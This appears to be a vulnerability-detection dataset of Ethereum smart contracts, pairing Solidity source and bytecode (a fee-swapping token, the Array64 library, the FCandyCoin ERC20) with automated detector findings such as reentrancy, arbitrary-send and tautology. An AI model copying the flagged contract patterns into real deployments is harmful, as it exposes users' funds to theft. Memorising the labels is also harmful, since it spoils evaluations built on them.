ffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f17f2ff60cf4906dd18596e83a0703fbbba2366c13e5d0842257af9b9c0dd30964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
485
0x5aceb3732891236fa650f6ac0fc54ad6a62721d7
pragma solidity ^0.4.13; /** * @title Array64 Library * @author Majoolr.io * * version 1.0.0 * Copyright (c) 2017 Majoolr, LLC * The MIT License (MIT) * https://github.com/Majoolr/ethereum-libraries/blob/master/LICENSE * * The Array64 Library provides a few utility functions to work with * storage uint64[] types in place. Majoolr works on open source projects in * the Ethereum community with the purpose of testing, documenting, and deploying * reusable code onto the blockchain to improve security and usability of smart * contracts. Majoolr also strives to educate non-profits, schools, and other * community members about the application of blockchain technology. * For further information: majoolr.io * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library Array64Lib { /// @dev Sum vector /// @param self Storage array containing uint256 type variables /// @return sum The sum of all elements, does not check for overflow function sumElements(uint64[] storage self) constant returns(uint64 sum) { uint256 term; assembly { mstore(0x60,self_slot) for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } { term := sload(add(sha3(0x60,0x20),div(i,4))) switch mod(i,4) case 1 { for { let j := 0 } lt(j, 2) { j := add(j, 1) } { term := div(term,4294967296) } } case 2 { for { let j := 0 } lt(j, 4) { j := add(j, 1) } { term := div(term,4294967296) } } case 3 { for { let j := 0 } lt(j, 6) { j := add(j, 1) } { term := div(term,4294967296) } } term := and(0x000000000000000000000000000000000000000000000000ffffffffffffffff,term) sum := add(term,sum) } } } /// @dev Returns the max value in an array. /// @param self Storage array containing uint256 type variables /// @return maxValue The highest value in the array function getMax(uint64[] storage self) constant returns(uint64 maxValue) { uint256 term; assembly { mstore(0x60,self_slot) maxValue := 0 for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } { term := sload(add(sha3(0x60,0x20),div(i,4))) switch mod(i,4) case 1 { for { let j := 0 } lt(j, 2) { j := add(j, 1) } { term := div(term,4294967296) } } case 2 { for { let j := 0 } lt(j, 4) { j := add(j, 1) } { term := div(term,4294967296) } } case 3 { for { let j := 0 } lt(j, 6) { j := add(j, 1) } { term := div(term,4294967296) } } term := and(0x000000000000000000000000000000000000000000000000ffffffffffffffff,term) switch lt(maxValue, term) case 1 { maxValue := term } } } } /// @dev Returns the minimum value in an array. /// @param self Storage array containing uint256 type variables /// @return minValue The highest value in the array function getMin(uint64[] storage self) constant returns(uint64 minValue) { uint256 term; assembly { mstore(0x60,self_slot) for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } { term := sload(add(sha3(0x60,0x20),div(i,4))) switch mod(i,4) case 1 { for { let j := 0 } lt(j, 2) { j := add(j, 1) } { term := div(term,4294967296) } } case 2 { for { let j := 0 } lt(j, 4) { j := add(j, 1) } { term := div(term,4294967296) } } case 3 { for { let j := 0 } lt(j, 6) { j := add(j, 1) } { term := div(term,4294967296) } } term := and(0x000000000000000000000000000000000000000000000000ffffffffffffffff,term) switch eq(i,0) case 1 { minValue := term } switch gt(minValue, term) case 1 { minValue := term } } } } /// @dev Finds the index of a given value in an array /// @param self Storage array containing uint256 type variables /// @param value The value to search for /// @param isSorted True if the array is sorted, false otherwise /// @return found True if the value was found, false otherwise /// @return index The index of the given value, returns 0 if found is false function indexOf(uint64[] storage self, uint64 value, bool isSorted) constant returns(bool found, uint256 index) { if (isSorted) { uint256 high = self.length - 1; uint256 mid = 0; uint256 low = 0; while (low <= high) { mid = (low+high)/2; if (self[mid] == value) { found = true; index = mid; low = high + 1; } else if (self[mid] < value) { low = mid + 1; } else { high = mid - 1; } } } else { for (uint256 i = 0; i<self.length; i++) { if (self[i] == value) { found = true; index = i; i = self.length; } } } } /// @dev Utility function for heapSort /// @param index The index of child node /// @return pI The parent node index function getParentI(uint256 index) constant private returns (uint256 pI) { uint256 i = index - 1; pI = i/2; } /// @dev Utility function for heapSort /// @param index The index of parent node /// @return lcI The index of left child function getLeftChildI(uint256 index) constant private returns (uint256 lcI) { uint256 i = index * 2; lcI = i + 1; } /// @dev Sorts given array in place /// @param self Storage array containing uint256 type variables function heapSort(uint64[] storage self) { uint256 end = self.length - 1; uint256 start = getParentI(end); uint256 root = start; uint256 lChild; uint256 rChild; uint256 swap; uint64 temp; while(start >= 0){ root = start; lChild = getLeftChildI(start); while(lChild <= end){ rChild = lChild + 1; swap = root; if(self[swap] < self[lChild]) swap = lChild; if((rChild <= end) && (self[swap]<self[rChild])) swap = rChild; if(swap == root) lChild = end+1; else { temp = self[swap]; self[swap] = self[root]; self[root] = temp; root = swap; lChild = getLeftChildI(root); } } if(start == 0) break; else start = start - 1; } while(end > 0){ temp = self[end]; self[end] = self[0]; self[0] = temp; end = end - 1; root = 0; lChild = getLeftChildI(0); while(lChild <= end){ rChild = lChild + 1; swap = root; if(self[swap] < self[lChild]) swap = lChild; if((rChild <= end) && (self[swap]<self[rChild])) swap = rChild; if(swap == root) lChild = end + 1; else { temp = self[swap]; self[swap] = self[root]; self[root] = temp; root = swap; lChild = getLeftChildI(root); } } } } }
0x606060405263ffffffff60e060020a60003504166307f0f4508114610050578063211ff8951461005d57806387c1b9cd14610084578063b2b6f11b146100ab578063d4a52b4c146100e1575b600080fd5b61005b600435610108565b005b610068600435610745565b6040516001604060020a03909116815260200160405180910390f35b610068600435610821565b6040516001604060020a03909116815260200160405180910390f35b6100c76004356001604060020a03602435166044351515610911565b604051911515825260208201526040908101905180910390f35b610068600435610a90565b6040516001604060020a03909116815260200160405180910390f35b8054600019016000808080808061011e87610b5b565b95508594505b600086106103b15785945061013886610b70565b93505b86841161039957836001019250849150878481548110151561015957fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a0316888381548110151561019a57fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a031610156101d7578391505b868311158015610266575087838154811015156101f057fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a0316888381548110151561023157fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a0316105b1561026f578291505b8482141561028257866001019350610394565b878281548110151561029057fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a0316905087858154811015156102ca57fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a0316888381548110151561030257fe5b90600052602060002090600491828204019190066008025b6101000a8154816001604060020a0302191690836001604060020a0316021790555080888681548110151561034b57fe5b90600052602060002090600491828204019190066008025b6101000a8154816001604060020a0302191690836001604060020a0316021790555081945061039185610b70565b93505b61013b565b8515156103a5576103b1565b6001860395505b610124565b5b600087111561073a5787878154811015156103c957fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a0316905087600081548110151561040457fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a0316888881548110151561043c57fe5b90600052602060002090600491828204019190066008025b6101000a8154816001604060020a0302191690836001604060020a031602179055508088600081548110151561048657fe5b90600052602060002090600491828204019190066008025b6101000a8154816001604060020a0302191690836001604060020a03160217905550600187039650600094506104d46000610b70565b93505b8684116107355783600101925084915087848154811015156104f557fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a0316888381548110151561053657fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a03161015610573578391505b8683111580156106025750878381548110151561058c57fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a031688838154811015156105cd57fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a0316105b1561060b578291505b8482141561061e57866001019350610730565b878281548110151561062c57fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03169050878581548110151561066657fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a0316888381548110151561069e57fe5b90600052602060002090600491828204019190066008025b6101000a8154816001604060020a0302191690836001604060020a031602179055508088868154811015156106e757fe5b90600052602060002090600491828204019190066008025b6101000a8154816001604060020a0302191690836001604060020a0316021790555081945061072d85610b70565b93505b6104d7565b6103b1565b5b5050505050505050565b6060819052600080805b83548110156108195760048104602060602001549150600481066001811461078657600281146107aa57600381146107ce576107ee565b60005b60028110156107a457602060020a840493505b600101610789565b506107ee565b60005b60048110156107a457602060020a840493505b6001016107ad565b506107ee565b60005b60068110156107ec57602060020a840493505b6001016107d1565b505b50816001604060020a031691508183106001811461080b5761080f565b8293505b505b60010161074f565b505b50919050565b6000808260605260005b835481101561081957600481046020606020015491506004810660018114610862576002811461088657600381146108aa576108ca565b60005b600281101561088057602060020a840493505b600101610865565b506108ca565b60005b600481101561088057602060020a840493505b600101610889565b506108ca565b60005b60068110156108c857602060020a840493505b6001016108ad565b505b506001604060020a03909116908015600181146108e6576108ea565b8293505b50818311600181146108fb576108ff565b8293505b505b60010161082b565b505b50919050565b6000806000806000808615610a11578854600019019350600092508291505b838211610a0c5760028285015b049250876001604060020a0316898481548110151561095857fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a031614156109a35760019550829450836001019150610a06565b876001604060020a031689848154811015156109bb57fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a031610156109ff57826001019150610a06565b6001830393505b5b610930565b610a82565b5060005b8854811015610a8257876001604060020a03168982815481101515610a3657fe5b90600052602060002090600491828204019190066008025b9054906101000a90046001604060020a03166001604060020a03161415610a79578854600196509094505b5b600101610a15565b5b5b50505050935093915050565b6000808260605260005b835481101561081957600481046020606020015491506004810660018114610ad15760028114610af55760038114610b1957610b39565b60005b6002811015610aef57602060020a840493505b600101610ad4565b50610b39565b60005b6004811015610aef57602060020a840493505b600101610af8565b50610b39565b60005b6006811015610b3757602060020a840493505b600101610b1c565b505b506001604060020a0390911691820191905b600101610a9a565b505b50919050565b600060001982016002815b0491505b50919050565b6002810260018101905b509190505600a165627a7a72305820dede98e1663a236798b641313006120e712ee173ec8607873f0a0fd6a6fe38070029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
486
0x2773b55e67efaab67d6985311b2d888d3d4470e1
pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract FCandyCoin is MintableToken, PausableToken { string public constant name = "FCandy Coin"; // solium-disable-line uppercase string public constant symbol = "FCandy"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 0; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) { return super.mint(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) { return super.finishMinting(); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner whenNotPaused public { super.transferOwnership(newOwner); } /** * The fallback function. */ function() payable public { revert(); } }
